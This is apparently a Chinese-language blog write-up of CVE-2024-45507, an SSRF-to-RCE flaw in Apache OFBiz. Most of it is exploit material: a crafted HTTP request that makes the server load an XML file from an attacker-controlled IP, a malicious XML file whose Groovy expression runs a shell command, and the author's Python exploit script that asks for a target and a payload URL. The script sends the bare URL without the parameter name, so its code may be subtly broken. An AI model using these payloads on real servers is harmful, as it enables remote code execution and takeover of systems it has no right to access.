CVE-2024-45507
前言
漏洞名称:Apache OFBiz SSRF to RCE
漏洞影响:version < 18.12.16
CVE:CVE-2024-45507
漏洞描述
该漏洞利用了 Apache OFBiz 中的 SSRF 漏洞,攻击者可以通过特定的 URL 请求,诱使服务器加载并执行恶意的 XML 文件,从而实现远程代码执行。漏洞的触发路径包括/webtools/control/main/findTemporalExpression和webtools/control/forgotPassword/findTemporalExpression 等
漏洞利用
攻击者可以构造如下请求来利用该漏洞:
1 2 3 4 5
| POST /webtools/control/main/findTemporalExpression HTTP/1.1 Host: 目标IP:8443 Content-Type: application/x-www-form-urlencoded
tempExprDecoratorLocation=http://攻击者IP/恶意文件.xml
|
恶意 XML 文件内容示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen"
xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set field="headerItem" value="${groovy:throw new Exception('ls'.execute().text);}" />
</actions>
</section>
</screen>
</screens>
|
通过上述请求,服务器会加载并执行恶意 XML 文件中的代码,从而实现远程代码执行
自己写的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import requests print("CVE-2024-45507 Apache ofiz远程代码执行漏洞EXP") print("首先需要一台公网服务器放置恶意xml文件") tempExprDecoratorLocation=input("请输入恶意xml文件的url:") url = input("请输入目标url:") def poc(url,tempExprDecoratorLocation): url = url + "//webtools//control//main//findTemporalExpression" headers1 = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" } data = tempExprDecoratorLocation response = requests.post(url,headers=headers1,data=data) if response.status_code == 200: print("漏洞利用成功") print(response.text) else: print("利用失败") if __name__ == "__main__": poc(url,tempExprDecoratorLocation)
|